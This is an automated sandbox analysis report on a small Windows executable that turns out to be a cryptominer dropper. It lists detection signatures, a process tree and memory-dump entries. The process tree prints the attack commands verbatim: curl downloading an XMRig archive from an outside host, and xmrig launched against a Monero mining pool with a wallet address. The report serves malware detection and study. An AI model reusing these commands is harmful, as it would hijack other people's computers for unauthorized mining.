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13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
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240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
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240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1788s - max time network
1802s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy (3) - Copy.exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (3) - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (3) - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KvUK17to.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
KvUK17to.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/3080-57-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-56-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-25-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-26-0x0000024A38EC0000-0x0000024A38EE0000-memory.dmp
memory/3080-27-0x00000249A67D0000-0x00000249A67F0000-memory.dmp
memory/3080-28-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-29-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-30-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-31-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-32-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-33-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-34-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-35-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-36-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-37-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-38-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-39-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-40-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-42-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-43-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-44-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-45-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-46-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-47-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-48-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-49-0x0000024A38EC0000-0x0000024A38EE0000-memory.dmp
memory/3080-50-0x00000249A67D0000-0x00000249A67F0000-memory.dmp
memory/3080-51-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-52-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-53-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-54-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-55-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-59-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-23-0x00000249A6790000-0x00000249A67B0000-memory.dmp
memory/3080-24-0x0000024A38830000-0x0000024A38870000-memory.dmp
memory/3080-58-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-73-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-61-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-62-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-63-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-64-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-65-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-66-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-67-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-68-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-69-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-70-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-71-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-72-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-60-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-74-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-75-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-76-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-77-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-78-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-79-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-80-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-81-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-82-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-83-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-84-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-85-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-86-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-87-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-88-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-89-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-90-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/3080-91-0x00007FF749F50000-0x00007FF74AA54000-memory.dmp
memory/4804-0-0x0000000000B70000-0x0000000000B78000-memory.dmp
memory/4804-3-0x00007FF8B94D0000-0x00007FF8B9F91000-memory.dmp
memory/4804-22-0x00007FF8B94D0000-0x00007FF8B9F91000-memory.dmp